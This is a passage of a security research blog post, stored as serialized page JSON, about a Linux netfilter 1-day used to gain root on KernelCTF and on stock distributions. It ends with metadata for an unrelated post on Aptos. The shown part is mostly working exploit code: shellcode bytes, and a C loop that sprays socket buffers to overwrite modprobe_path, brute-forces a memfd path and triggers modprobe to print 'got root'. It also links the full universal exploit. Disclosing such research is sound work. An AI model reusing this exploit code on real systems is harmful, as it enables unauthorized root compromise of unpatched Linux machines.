0x71",{"type":23,"tag":134,"props":59342,"children":59343},{"style":179},[59344],{"type":28,"value":242},{"type":23,"tag":134,"props":59346,"children":59347},{"style":1461},[59348],{"type":28,"value":19537},{"type":23,"tag":134,"props":59350,"children":59351},{"style":47878},[59352],{"type":28,"value":59353},"\\x48\\xc7\\xc0\\x80\\x00\\x00",{"type":23,"tag":134,"props":59355,"children":59356},{"style":1461},[59357],{"type":28,"value":19537},{"type":23,"tag":134,"props":59359,"children":59360},{"style":179},[59361],{"type":28,"value":242},{"type":23,"tag":134,"props":59363,"children":59364},{"style":205},[59365],{"type":28,"value":17894},{"type":23,"tag":134,"props":59367,"children":59368},{"style":179},[59369],{"type":28,"value":252},{"type":23,"tag":134,"props":59371,"children":59372},{"style":168},[59373],{"type":28,"value":8035},{"type":23,"tag":134,"props":59375,"children":59376},{"style":205},[59377],{"type":28,"value":208},{"type":23,"tag":134,"props":59379,"children":59380},{"style":168},[59381],{"type":28,"value":52190},{"type":23,"tag":134,"props":59383,"children":59384},{"class":136,"line":984},[59385,59389,59393,59397,59402,59406,59410,59415,59419,59423,59427,59431,59435,59439],{"type":23,"tag":134,"props":59386,"children":59387},{"style":264},[59388],{"type":28,"value":58677},{"type":23,"tag":134,"props":59390,"children":59391},{"style":179},[59392],{"type":28,"value":58619},{"type":23,"tag":134,"props":59394,"children":59395},{"style":168},[59396],{"type":28,"value":1586},{"type":23,"tag":134,"props":59398,"children":59399},{"style":205},[59400],{"type":28,"value":59401}," 0x78",{"type":23,"tag":134,"props":59403,"children":59404},{"style":179},[59405],{"type":28,"value":242},{"type":23,"tag":134,"props":59407,"children":59408},{"style":1461},[59409],{"type":28,"value":19537},{"type":23,"tag":134,"props":59411,"children":59412},{"style":47878},[59413],{"type":28,"value":59414},"\\xff\\xe0",{"type":23,"tag":134,"props":59416,"children":59417},{"style":1461},[59418],{"type":28,"value":19537},{"type":23,"tag":134,"props":59420,"children":59421},{"style":179},[59422],{"type":28,"value":242},{"type":23,"tag":134,"props":59424,"children":59425},{"style":205},[59426],{"type":28,"value":291},{"type":23,"tag":134,"props":59428,"children":59429},{"style":179},[59430],{"type":28,"value":252},{"type":23,"tag":134,"props":59432,"children":59433},{"style":168},[59434],{"type":28,"value":8035},{"type":23,"tag":134,"props":59436,"children":59437},{"style":205},[59438],{"type":28,"value":208},{"type":23,"tag":134,"props":59440,"children":59441},{"style":179},[59442],{"type":28,"value":329},{"type":23,"tag":134,"props":59444,"children":59445},{"class":136,"line":992},[59446,59450,59454],{"type":23,"tag":134,"props":59447,"children":59448},{"style":189},[59449],{"type":28,"value":15214},{"type":23,"tag":134,"props":59451,"children":59452},{"style":151},[59453],{"type":28,"value":11936},{"type":23,"tag":134,"props":59455,"children":59456},{"style":179},[59457],{"type":28,"value":182},{"type":23,"tag":134,"props":59459,"children":59460},{"class":136,"line":1024},[59461],{"type":23,"tag":134,"props":59462,"children":59463},{"emptyLinePlaceholder":15},[59464],{"type":28,"value":865},{"type":23,"tag":134,"props":59466,"children":59467},{"class":136,"line":1032},[59468,59472,59476],{"type":23,"tag":134,"props":59469,"children":59470},{"style":189},[59471],{"type":28,"value":16461},{"type":23,"tag":134,"props":59473,"children":59474},{"style":151},[59475],{"type":28,"value":8519},{"type":23,"tag":134,"props":59477,"children":59478},{"style":179},[59479],{"type":28,"value":182},{"type":23,"tag":134,"props":59481,"children":59482},{"class":136,"line":1092},[59483],{"type":23,"tag":134,"props":59484,"children":59485},{"style":179},[59486],{"type":28,"value":1098},{"type":23,"tag":134,"props":59488,"children":59489},{"class":136,"line":8508},[59490],{"type":23,"tag":134,"props":59491,"children":59492},{"style":179},[59493],{"type":28,"value":9783},{"type":23,"tag":9072,"props":59495,"children":59497},{"id":59496},"overwriting-modprobe_path",[59498,59500],{"type":28,"value":59499},"Overwriting ",{"type":23,"tag":92,"props":59501,"children":59503},{"className":59502},[],[59504],{"type":28,"value":57885},{"type":23,"tag":24,"props":59506,"children":59507},{},[59508,59510,59516],{"type":28,"value":59509},"Finding the ",{"type":23,"tag":92,"props":59511,"children":59513},{"className":59512},[],[59514],{"type":28,"value":59515},"/sbin/modprobe",{"type":28,"value":59517}," string in kernel memory and replacing it with a controlled value that points to a file we own finally becomes relatively trivial.",{"type":23,"tag":24,"props":59519,"children":59520},{},[59521,59523,59529],{"type":28,"value":59522},"A very well-known trick for this to work, although we are running in a chroot without being able to create files at the root filesystem, is using a memfd exposed through ",{"type":23,"tag":92,"props":59524,"children":59526},{"className":59525},[],[59527],{"type":28,"value":59528},"/proc/\u003Cpid>/fd/\u003Cn>.",{"type":28,"value":59530}," It's worth adding that, given that our pid outside the unprivileged namespace is unknown to us, we brute-force it.",{"type":23,"tag":87,"props":59532,"children":59534},{"className":28603,"code":59533,"language":28605,"meta":7,"style":7},"[...]\n    puts(\"[*] overwrite modprobe_path\");\n    for (int i = 0; i \u003C 4194304; i++)\n    {\n        pipebuf->page = modprobe_page;\n        pipebuf->offset = modprobe_off;\n        pipebuf->len = 0;\n        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n        {\n            if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n            {\n                perror(\"[-] write(socket)\");\n                break;\n            }\n        }\n\n        memset(&data, 0, PAGE_SIZE);\n        snprintf(fd_path, sizeof(fd_path), \"/proc/%i/fd/%i\", i, modprobe_fd);\n\n        lseek(modprobe_fd, 0, SEEK_SET);\n        dprintf(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n\n        if (write(pfd[pipe_idx][1], fd_path, 32) \u003C 0)\n        {\n            perror(\"\\n[-] write(pipe)\");\n        }\n\n        if (check_modprobe(fd_path))\n        {\n            puts(\"[-] failed to overwrite modprobe\");\n            break;\n        }\n\n        if (trigger_modprobe(status_fd))\n        {\n            puts(\"\\n[+] got root\");\n            goto out;\n        }\n\n        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n        {\n            if (read(sock[i][1], leak, 1024 - 320) \u003C 0)\n            {\n                perror(\"[-] read(socket)\");\n                return -1;\n            }\n        }\n    }\n    puts(\"[-] fake modprobe failed\");\n[...]\n",[59535],{"type":23,"tag":92,"props":59536,"children":59537},{"__ignoreMap":7},[59538,59545,59567,59575,59582,59590,59598,59606,59614,59621,59629,59636,59674,59685,59692,59699,59706,59733,59764,59771,59793,59806,59813,59871,59878,59906,59913,59920,59941,59948,59969,59980,59987,59994,60015,60022,60050,60063,60070,60077,60126,60133,60201,60208,60229,60249,60256,60263,60270,60290],{"type":23,"tag":134,"props":59539,"children":59540},{"class":136,"line":137},[59541],{"type":23,"tag":134,"props":59542,"children":59543},{"style":179},[59544],{"type":28,"value":9783},{"type":23,"tag":134,"props":59546,"children":59547},{"class":136,"line":147},[59548,59553,59558,59563],{"type":23,"tag":134,"props":59549,"children":59550},{"style":179},[59551],{"type":28,"value":59552},"    puts(\"[*] ",{"type":23,"tag":134,"props":59554,"children":59555},{"style":597},[59556],{"type":28,"value":59557},"overwrite",{"type":23,"tag":134,"props":59559,"children":59560},{"style":597},[59561],{"type":28,"value":59562}," modprobe_path",{"type":23,"tag":134,"props":59564,"children":59565},{"style":1461},[59566],{"type":28,"value":55798},{"type":23,"tag":134,"props":59568,"children":59569},{"class":136,"line":185},[59570],{"type":23,"tag":134,"props":59571,"children":59572},{"style":1461},[59573],{"type":28,"value":59574},"    for (int i = 0; i \u003C 4194304; i++)\n",{"type":23,"tag":134,"props":59576,"children":59577},{"class":136,"line":221},[59578],{"type":23,"tag":134,"props":59579,"children":59580},{"style":1461},[59581],{"type":28,"value":28680},{"type":23,"tag":134,"props":59583,"children":59584},{"class":136,"line":332},[59585],{"type":23,"tag":134,"props":59586,"children":59587},{"style":1461},[59588],{"type":28,"value":59589},"        pipebuf->page = modprobe_page;\n",{"type":23,"tag":134,"props":59591,"children":59592},{"class":136,"line":438},[59593],{"type":23,"tag":134,"props":59594,"children":59595},{"style":1461},[59596],{"type":28,"value":59597},"        pipebuf->offset = modprobe_off;\n",{"type":23,"tag":134,"props":59599,"children":59600},{"class":136,"line":466},[59601],{"type":23,"tag":134,"props":59602,"children":59603},{"style":1461},[59604],{"type":28,"value":59605},"        pipebuf->len = 0;\n",{"type":23,"tag":134,"props":59607,"children":59608},{"class":136,"line":479},[59609],{"type":23,"tag":134,"props":59610,"children":59611},{"style":1461},[59612],{"type":28,"value":59613},"        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n",{"type":23,"tag":134,"props":59615,"children":59616},{"class":136,"line":497},[59617],{"type":23,"tag":134,"props":59618,"children":59619},{"style":1461},[59620],{"type":28,"value":31154},{"type":23,"tag":134,"props":59622,"children":59623},{"class":136,"line":518},[59624],{"type":23,"tag":134,"props":59625,"children":59626},{"style":1461},[59627],{"type":28,"value":59628},"            if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n",{"type":23,"tag":134,"props":59630,"children":59631},{"class":136,"line":527},[59632],{"type":23,"tag":134,"props":59633,"children":59634},{"style":1461},[59635],{"type":28,"value":31190},{"type":23,"tag":134,"props":59637,"children":59638},{"class":136,"line":780},[59639,59644,59648,59652,59656,59661,59665,59669],{"type":23,"tag":134,"props":59640,"children":59641},{"style":1461},[59642],{"type":28,"value":59643},"                perror(\"",{"type":23,"tag":134,"props":59645,"children":59646},{"style":179},[59647],{"type":28,"value":924},{"type":23,"tag":134,"props":59649,"children":59650},{"style":168},[59651],{"type":28,"value":1532},{"type":23,"tag":134,"props":59653,"children":59654},{"style":179},[59655],{"type":28,"value":8121},{"type":23,"tag":134,"props":59657,"children":59658},{"style":597},[59659],{"type":28,"value":59660},"write",{"type":23,"tag":134,"props":59662,"children":59663},{"style":179},[59664],{"type":28,"value":272},{"type":23,"tag":134,"props":59666,"children":59667},{"style":597},[59668],{"type":28,"value":41438},{"type":23,"tag":134,"props":59670,"children":59671},{"style":179},[59672],{"type":28,"value":59673},")\");\n",{"type":23,"tag":134,"props":59675,"children":59676},{"class":136,"line":797},[59677,59681],{"type":23,"tag":134,"props":59678,"children":59679},{"style":189},[59680],{"type":28,"value":58467},{"type":23,"tag":134,"props":59682,"children":59683},{"style":179},[59684],{"type":28,"value":182},{"type":23,"tag":134,"props":59686,"children":59687},{"class":136,"line":814},[59688],{"type":23,"tag":134,"props":59689,"children":59690},{"style":179},[59691],{"type":28,"value":58392},{"type":23,"tag":134,"props":59693,"children":59694},{"class":136,"line":827},[59695],{"type":23,"tag":134,"props":59696,"children":59697},{"style":179},[59698],{"type":28,"value":524},{"type":23,"tag":134,"props":59700,"children":59701},{"class":136,"line":836},[59702],{"type":23,"tag":134,"props":59703,"children":59704},{"emptyLinePlaceholder":15},[59705],{"type":28,"value":865},{"type":23,"tag":134,"props":59707,"children":59708},{"class":136,"line":859},[59709,59713,59717,59721,59725,59729],{"type":23,"tag":134,"props":59710,"children":59711},{"style":264},[59712],{"type":28,"value":54123},{"type":23,"tag":134,"props":59714,"children":59715},{"style":179},[59716],{"type":28,"value":272},{"type":23,"tag":134,"props":59718,"children":59719},{"style":168},[59720],{"type":28,"value":277},{"type":23,"tag":134,"props":59722,"children":59723},{"style":179},[59724],{"type":28,"value":58278},{"type":23,"tag":134,"props":59726,"children":59727},{"style":205},[59728],{"type":28,"value":1224},{"type":23,"tag":134,"props":59730,"children":59731},{"style":179},[59732],{"type":28,"value":58287},{"type":23,"tag":134,"props":59734,"children":59735},{"class":136,"line":868},[59736,59740,59745,59749,59754,59759],{"type":23,"tag":134,"props":59737,"children":59738},{"style":264},[59739],{"type":28,"value":54824},{"type":23,"tag":134,"props":59741,"children":59742},{"style":179},[59743],{"type":28,"value":59744},"(fd_path, ",{"type":23,"tag":134,"props":59746,"children":59747},{"style":151},[59748],{"type":28,"value":54834},{"type":23,"tag":134,"props":59750,"children":59751},{"style":179},[59752],{"type":28,"value":59753},"(fd_path), ",{"type":23,"tag":134,"props":59755,"children":59756},{"style":1461},[59757],{"type":28,"value":59758},"\"/proc/%i/fd/%i\"",{"type":23,"tag":134,"props":59760,"children":59761},{"style":179},[59762],{"type":28,"value":59763},", i, modprobe_fd);\n",{"type":23,"tag":134,"props":59765,"children":59766},{"class":136,"line":877},[59767],{"type":23,"tag":134,"props":59768,"children":59769},{"emptyLinePlaceholder":15},[59770],{"type":28,"value":865},{"type":23,"tag":134,"props":59772,"children":59773},{"class":136,"line":946},[59774,59779,59784,59788],{"type":23,"tag":134,"props":59775,"children":59776},{"style":264},[59777],{"type":28,"value":59778},"        lseek",{"type":23,"tag":134,"props":59780,"children":59781},{"style":179},[59782],{"type":28,"value":59783},"(modprobe_fd, ",{"type":23,"tag":134,"props":59785,"children":59786},{"style":205},[59787],{"type":28,"value":1224},{"type":23,"tag":134,"props":59789,"children":59790},{"style":179},[59791],{"type":28,"value":59792},", SEEK_SET);\n",{"type":23,"tag":134,"props":59794,"children":59795},{"class":136,"line":954},[59796,59801],{"type":23,"tag":134,"props":59797,"children":59798},{"style":264},[59799],{"type":28,"value":59800},"        dprintf",{"type":23,"tag":134,"props":59802,"children":59803},{"style":179},[59804],{"type":28,"value":59805},"(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n",{"type":23,"tag":134,"props":59807,"children":59808},{"class":136,"line":984},[59809],{"type":23,"tag":134,"props":59810,"children":59811},{"emptyLinePlaceholder":15},[59812],{"type":28,"value":865},{"type":23,"tag":134,"props":59814,"children":59815},{"class":136,"line":992},[59816,59820,59824,59828,59832,59836,59841,59845,59850,59855,59859,59863,59867],{"type":23,"tag":134,"props":59817,"children":59818},{"style":189},[59819],{"type":28,"value":444},{"type":23,"tag":134,"props":59821,"children":59822},{"style":179},[59823],{"type":28,"value":232},{"type":23,"tag":134,"props":59825,"children":59826},{"style":264},[59827],{"type":28,"value":59660},{"type":23,"tag":134,"props":59829,"children":59830},{"style":179},[59831],{"type":28,"value":272},{"type":23,"tag":134,"props":59833,"children":59834},{"style":162},[59835],{"type":28,"value":58331},{"type":23,"tag":134,"props":59837,"children":59838},{"style":179},[59839],{"type":28,"value":59840},"[pipe_idx][",{"type":23,"tag":134,"props":59842,"children":59843},{"style":205},[59844],{"type":28,"value":1214},{"type":23,"tag":134,"props":59846,"children":59847},{"style":179},[59848],{"type":28,"value":59849},"], fd_path, ",{"type":23,"tag":134,"props":59851,"children":59852},{"style":205},[59853],{"type":28,"value":59854},"32",{"type":23,"tag":134,"props":59856,"children":59857},{"style":179},[59858],{"type":28,"value":252},{"type":23,"tag":134,"props":59860,"children":59861},{"style":168},[59862],{"type":28,"value":5262},{"type":23,"tag":134,"props":59864,"children":59865},{"style":205},[59866],{"type":28,"value":208},{"type":23,"tag":134,"props":59868,"children":59869},{"style":179},[59870],{"type":28,"value":329},{"type":23,"tag":134,"props":59872,"children":59873},{"class":136,"line":1024},[59874],{"type":23,"tag":134,"props":59875,"children":59876},{"style":179},[59877],{"type":28,"value":31154},{"type":23,"tag":134,"props":59879,"children":59880},{"class":136,"line":1032},[59881,59885,59889,59893,59897,59902],{"type":23,"tag":134,"props":59882,"children":59883},{"style":264},[59884],{"type":28,"value":57404},{"type":23,"tag":134,"props":59886,"children":59887},{"style":179},[59888],{"type":28,"value":272},{"type":23,"tag":134,"props":59890,"children":59891},{"style":1461},[59892],{"type":28,"value":19537},{"type":23,"tag":134,"props":59894,"children":59895},{"style":47878},[59896],{"type":28,"value":47881},{"type":23,"tag":134,"props":59898,"children":59899},{"style":1461},[59900],{"type":28,"value":59901},"[-] write(pipe)\"",{"type":23,"tag":134,"props":59903,"children":59904},{"style":179},[59905],{"type":28,"value":1021},{"type":23,"tag":134,"props":59907,"children":59908},{"class":136,"line":1092},[59909],{"type":23,"tag":134,"props":59910,"children":59911},{"style":179},[59912],{"type":28,"value":524},{"type":23,"tag":134,"props":59914,"children":59915},{"class":136,"line":8508},[59916],{"type":23,"tag":134,"props":59917,"children":59918},{"emptyLinePlaceholder":15},[59919],{"type":28,"value":865},{"type":23,"tag":134,"props":59921,"children":59922},{"class":136,"line":8526},[59923,59927,59931,59936],{"type":23,"tag":134,"props":59924,"children":59925},{"style":189},[59926],{"type":28,"value":444},{"type":23,"tag":134,"props":59928,"children":59929},{"style":179},[59930],{"type":28,"value":232},{"type":23,"tag":134,"props":59932,"children":59933},{"style":264},[59934],{"type":28,"value":59935},"check_modprobe",{"type":23,"tag":134,"props":59937,"children":59938},{"style":179},[59939],{"type":28,"value":59940},"(fd_path))\n",{"type":23,"tag":134,"props":59942,"children":59943},{"class":136,"line":8571},[59944],{"type":23,"tag":134,"props":59945,"children":59946},{"style":179},[59947],{"type":28,"value":31154},{"type":23,"tag":134,"props":59949,"children":59950},{"class":136,"line":8677},[59951,59956,59960,59965],{"type":23,"tag":134,"props":59952,"children":59953},{"style":264},[59954],{"type":28,"value":59955},"            puts",{"type":23,"tag":134,"props":59957,"children":59958},{"style":179},[59959],{"type":28,"value":272},{"type":23,"tag":134,"props":59961,"children":59962},{"style":1461},[59963],{"type":28,"value":59964},"\"[-] failed to overwrite modprobe\"",{"type":23,"tag":134,"props":59966,"children":59967},{"style":179},[59968],{"type":28,"value":1021},{"type":23,"tag":134,"props":59970,"children":59971},{"class":136,"line":22988},[59972,59976],{"type":23,"tag":134,"props":59973,"children":59974},{"style":189},[59975],{"type":28,"value":472},{"type":23,"tag":134,"props":59977,"children":59978},{"style":179},[59979],{"type":28,"value":182},{"type":23,"tag":134,"props":59981,"children":59982},{"class":136,"line":23023},[59983],{"type":23,"tag":134,"props":59984,"children":59985},{"style":179},[59986],{"type":28,"value":524},{"type":23,"tag":134,"props":59988,"children":59989},{"class":136,"line":23031},[59990],{"type":23,"tag":134,"props":59991,"children":59992},{"emptyLinePlaceholder":15},[59993],{"type":28,"value":865},{"type":23,"tag":134,"props":59995,"children":59996},{"class":136,"line":23039},[59997,60001,60005,60010],{"type":23,"tag":134,"props":59998,"children":59999},{"style":189},[60000],{"type":28,"value":444},{"type":23,"tag":134,"props":60002,"children":60003},{"style":179},[60004],{"type":28,"value":232},{"type":23,"tag":134,"props":60006,"children":60007},{"style":264},[60008],{"type":28,"value":60009},"trigger_modprobe",{"type":23,"tag":134,"props":60011,"children":60012},{"style":179},[60013],{"type":28,"value":60014},"(status_fd))\n",{"type":23,"tag":134,"props":60016,"children":60017},{"class":136,"line":23048},[60018],{"type":23,"tag":134,"props":60019,"children":60020},{"style":179},[60021],{"type":28,"value":31154},{"type":23,"tag":134,"props":60023,"children":60024},{"class":136,"line":23090},[60025,60029,60033,60037,60041,60046],{"type":23,"tag":134,"props":60026,"children":60027},{"style":264},[60028],{"type":28,"value":59955},{"type":23,"tag":134,"props":60030,"children":60031},{"style":179},[60032],{"type":28,"value":272},{"type":23,"tag":134,"props":60034,"children":60035},{"style":1461},[60036],{"type":28,"value":19537},{"type":23,"tag":134,"props":60038,"children":60039},{"style":47878},[60040],{"type":28,"value":47881},{"type":23,"tag":134,"props":60042,"children":60043},{"style":1461},[60044],{"type":28,"value":60045},"[+] got root\"",{"type":23,"tag":134,"props":60047,"children":60048},{"style":179},[60049],{"type":28,"value":1021},{"type":23,"tag":134,"props":60051,"children":60052},{"class":136,"line":23123},[60053,60058],{"type":23,"tag":134,"props":60054,"children":60055},{"style":189},[60056],{"type":28,"value":60057},"            goto",{"type":23,"tag":134,"props":60059,"children":60060},{"style":179},[60061],{"type":28,"value":60062}," out;\n",{"type":23,"tag":134,"props":60064,"children":60065},{"class":136,"line":23131},[60066],{"type":23,"tag":134,"props":60067,"children":60068},{"style":179},[60069],{"type":28,"value":524},{"type":23,"tag":134,"props":60071,"children":60072},{"class":136,"line":23139},[60073],{"type":23,"tag":134,"props":60074,"children":60075},{"emptyLinePlaceholder":15},[60076],{"type":28,"value":865},{"type":23,"tag":134,"props":60078,"children":60079},{"class":136,"line":23148},[60080,60085,60089,60093,60097,60101,60105,60109,60113,60118,60122],{"type":23,"tag":134,"props":60081,"children":60082},{"style":189},[60083],{"type":28,"value":60084},"        for",{"type":23,"tag":134,"props":60086,"children":60087},{"style":179},[60088],{"type":28,"value":232},{"type":23,"tag":134,"props":60090,"children":60091},{"style":151},[60092],{"type":28,"value":18523},{"type":23,"tag":134,"props":60094,"children":60095},{"style":179},[60096],{"type":28,"value":54050},{"type":23,"tag":134,"props":60098,"children":60099},{"style":168},[60100],{"type":28,"value":257},{"type":23,"tag":134,"props":60102,"children":60103},{"style":205},[60104],{"type":28,"value":208},{"type":23,"tag":134,"props":60106,"children":60107},{"style":179},[60108],{"type":28,"value":50739},{"type":23,"tag":134,"props":60110,"children":60111},{"style":168},[60112],{"type":28,"value":5262},{"type":23,"tag":134,"props":60114,"children":60115},{"style":179},[60116],{"type":28,"value":60117}," SKBUF_SPRAY; i",{"type":23,"tag":134,"props":60119,"children":60120},{"style":168},[60121],{"type":28,"value":50775},{"type":23,"tag":134,"props":60123,"children":60124},{"style":179},[60125],{"type":28,"value":329},{"type":23,"tag":134,"props":60127,"children":60128},{"class":136,"line":23224},[60129],{"type":23,"tag":134,"props":60130,"children":60131},{"style":179},[60132],{"type":28,"value":31154},{"type":23,"tag":134,"props":60134,"children":60135},{"class":136,"line":23257},[60136,60140,60144,60149,60153,60158,60163,60167,60172,60176,60180,60185,60189,60193,60197],{"type":23,"tag":134,"props":60137,"children":60138},{"style":189},[60139],{"type":28,"value":58308},{"type":23,"tag":134,"props":60141,"children":60142},{"style":179},[60143],{"type":28,"value":232},{"type":23,"tag":134,"props":60145,"children":60146},{"style":264},[60147],{"type":28,"value":60148},"read",{"type":23,"tag":134,"props":60150,"children":60151},{"style":179},[60152],{"type":28,"value":272},{"type":23,"tag":134,"props":60154,"children":60155},{"style":162},[60156],{"type":28,"value":60157},"sock",{"type":23,"tag":134,"props":60159,"children":60160},{"style":179},[60161],{"type":28,"value":60162},"[i][",{"type":23,"tag":134,"props":60164,"children":60165},{"style":205},[60166],{"type":28,"value":1214},{"type":23,"tag":134,"props":60168,"children":60169},{"style":179},[60170],{"type":28,"value":60171},"], leak, ",{"type":23,"tag":134,"props":60173,"children":60174},{"style":205},[60175],{"type":28,"value":57655},{"type":23,"tag":134,"props":60177,"children":60178},{"style":168},[60179],{"type":28,"value":50761},{"type":23,"tag":134,"props":60181,"children":60182},{"style":205},[60183],{"type":28,"value":60184}," 320",{"type":23,"tag":134,"props":60186,"children":60187},{"style":179},[60188],{"type":28,"value":252},{"type":23,"tag":134,"props":60190,"children":60191},{"style":168},[60192],{"type":28,"value":5262},{"type":23,"tag":134,"props":60194,"children":60195},{"style":205},[60196],{"type":28,"value":208},{"type":23,"tag":134,"props":60198,"children":60199},{"style":179},[60200],{"type":28,"value":329},{"type":23,"tag":134,"props":60202,"children":60203},{"class":136,"line":23265},[60204],{"type":23,"tag":134,"props":60205,"children":60206},{"style":179},[60207],{"type":28,"value":31190},{"type":23,"tag":134,"props":60209,"children":60210},{"class":136,"line":23273},[60211,60216,60220,60225],{"type":23,"tag":134,"props":60212,"children":60213},{"style":264},[60214],{"type":28,"value":60215},"                perror",{"type":23,"tag":134,"props":60217,"children":60218},{"style":179},[60219],{"type":28,"value":272},{"type":23,"tag":134,"props":60221,"children":60222},{"style":1461},[60223],{"type":28,"value":60224},"\"[-] read(socket)\"",{"type":23,"tag":134,"props":60226,"children":60227},{"style":179},[60228],{"type":28,"value":1021},{"type":23,"tag":134,"props":60230,"children":60231},{"class":136,"line":23310},[60232,60237,60241,60245],{"type":23,"tag":134,"props":60233,"children":60234},{"style":189},[60235],{"type":28,"value":60236},"                return",{"type":23,"tag":134,"props":60238,"children":60239},{"style":168},[60240],{"type":28,"value":50761},{"type":23,"tag":134,"props":60242,"children":60243},{"style":205},[60244],{"type":28,"value":1214},{"type":23,"tag":134,"props":60246,"children":60247},{"style":179},[60248],{"type":28,"value":182},{"type":23,"tag":134,"props":60250,"children":60251},{"class":136,"line":23323},[60252],{"type":23,"tag":134,"props":60253,"children":60254},{"style":179},[60255],{"type":28,"value":58392},{"type":23,"tag":134,"props":60257,"children":60258},{"class":136,"line":23336},[60259],{"type":23,"tag":134,"props":60260,"children":60261},{"style":179},[60262],{"type":28,"value":524},{"type":23,"tag":134,"props":60264,"children":60265},{"class":136,"line":23349},[60266],{"type":23,"tag":134,"props":60267,"children":60268},{"style":179},[60269],{"type":28,"value":533},{"type":23,"tag":134,"props":60271,"children":60272},{"class":136,"line":23403},[60273,60277,60281,60286],{"type":23,"tag":134,"props":60274,"children":60275},{"style":264},[60276],{"type":28,"value":55013},{"type":23,"tag":134,"props":60278,"children":60279},{"style":179},[60280],{"type":28,"value":272},{"type":23,"tag":134,"props":60282,"children":60283},{"style":1461},[60284],{"type":28,"value":60285},"\"[-] fake modprobe failed\"",{"type":23,"tag":134,"props":60287,"children":60288},{"style":179},[60289],{"type":28,"value":1021},{"type":23,"tag":134,"props":60291,"children":60292},{"class":136,"line":23412},[60293],{"type":23,"tag":134,"props":60294,"children":60295},{"style":179},[60296],{"type":28,"value":9783},{"type":23,"tag":24,"props":60298,"children":60299},{},[60300,60302,60309],{"type":28,"value":60301},"This trick has already been throughly detailed by ",{"type":23,"tag":31,"props":60303,"children":60306},{"href":60304,"rel":60305},"https://pwning.tech/nftables/#28-overwriting-modprobepath",[35],[60307],{"type":28,"value":60308},"lau",{"type":28,"value":60310},", so we won't go much more into it.",{"type":23,"tag":9072,"props":60312,"children":60314},{"id":60313},"universal-exploit-demo",[60315],{"type":28,"value":60316},"Universal exploit demo",{"type":23,"tag":24,"props":60318,"children":60319},{},[60320,60322,60328],{"type":28,"value":60321},"{%youtube tjbp4Mtfo8w %}\nYou can find the complete universal exploit in our ",{"type":23,"tag":31,"props":60323,"children":60326},{"href":60324,"rel":60325},"https://github.com/otter-sec/OtterRoot/blob/master/universal/exploit.c",[35],[60327],{"type":28,"value":56922},{"type":28,"value":720},{"type":23,"tag":61,"props":60330,"children":60332},{"id":60331},"disclosure-timeline",[60333],{"type":28,"value":60334},"Disclosure Timeline",{"type":23,"tag":16158,"props":60336,"children":60337},{},[60338,60343,60348,60353,60358],{"type":23,"tag":4894,"props":60339,"children":60340},{},[60341],{"type":28,"value":60342},"March 21st -- Patch made public",{"type":23,"tag":4894,"props":60344,"children":60345},{},[60346],{"type":28,"value":60347},"March 23rd -- Scrolled through commits and found the bug fix.",{"type":23,"tag":4894,"props":60349,"children":60350},{},[60351],{"type":28,"value":60352},"March 24th -- Wrote KernelCTF exploit",{"type":23,"tag":4894,"props":60354,"children":60355},{},[60356],{"type":28,"value":60357},"March 26th -- Wrote Universal exploit",{"type":23,"tag":4894,"props":60359,"children":60360},{},[60361],{"type":28,"value":60362},"May 23rd -- Patch landed on Ubuntu and Debian",{"type":23,"tag":24,"props":60364,"children":60365},{},[60366],{"type":28,"value":60367},"Note that the universal exploit was alive for roughly 2 months against popular distros.",{"type":23,"tag":61,"props":60369,"children":60370},{"id":28425},[60371],{"type":28,"value":18423},{"type":23,"tag":24,"props":60373,"children":60374},{},[60375],{"type":28,"value":60376},"In this post, I have discussed how a bug fixed by a commit freshly made public can be used to exploit the latest stable releases of the kernel and maintain 0day-like primitives for an extended period. I've also discussed two different paths to exploit the vulnerability: one that I used to exploit the KernelCTF instance and retrieve the flag and a second one that I used to craft a universal exploit binary that works stably in all tested targets without needing to be adapted or even recompiled.",{"type":23,"tag":24,"props":60378,"children":60379},{},[60380],{"type":28,"value":60381},"What we have observed is not novel; despite the efforts and progress made by the Linux community to improve kernel security, it's been made evident that the supply of exploitable bugs is still virtually unlimited and that the open-source patch gap is long enough to maintain capabilities that are live.",{"type":23,"tag":2575,"props":60383,"children":60384},{},[60385],{"type":28,"value":2579},{"title":7,"searchDepth":147,"depth":147,"links":60387},[60388,60391,60394,60397,60398,60408,60416,60417],{"id":50073,"depth":147,"text":50076,"children":60389},[60390],{"id":50094,"depth":185,"text":50097},{"id":50137,"depth":147,"text":50137,"children":60392},[60393],{"id":50184,"depth":185,"text":50187},{"id":50242,"depth":147,"text":50245,"children":60395},[60396],{"id":51405,"depth":185,"text":51408},{"id":53280,"depth":147,"text":53283},{"id":53682,"depth":147,"text":53685,"children":60399},[60400,60401,60402,60404,60405,60406,60407],{"id":53709,"depth":185,"text":53712},{"id":54591,"depth":185,"text":54594},{"id":55177,"depth":185,"text":60403},"Leaking self pointer of nft_object",{"id":55575,"depth":185,"text":55578},{"id":56089,"depth":185,"text":56092},{"id":56219,"depth":185,"text":55876},{"id":56903,"depth":185,"text":56906},{"id":56926,"depth":147,"text":56929,"children":60409},[60410,60411,60412,60413,60415],{"id":56937,"depth":185,"text":56940},{"id":57795,"depth":185,"text":57798},{"id":57871,"depth":185,"text":57874},{"id":59496,"depth":185,"text":60414},"Overwriting modprobe_path",{"id":60313,"depth":185,"text":60316},{"id":60331,"depth":147,"text":60334},{"id":28425,"depth":147,"text":18423},"content:blog:2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day",{"_path":60422,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":60423,"description":60424,"image":60425,"date":60427,"isFeatured":15,"onBlogPage":15,"tags":60428,"body":60429,"_type":2586,"_id":67147,"_source":2588,"_file":67148,"_stem":67149,"_extension":2591},"/blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets","Hitchhiker's Guide to Aptos Fungible Assets","We take a deep dive into Aptos’ implementation of fungible assets, exploring the intricacies hidden within its functions, objects, and interactions. While the Fungible Asset model was designed to address the limitations and security flaws of the legacy Coin standard, it also introduced new challenges and vulnerabilities that developers should be aware 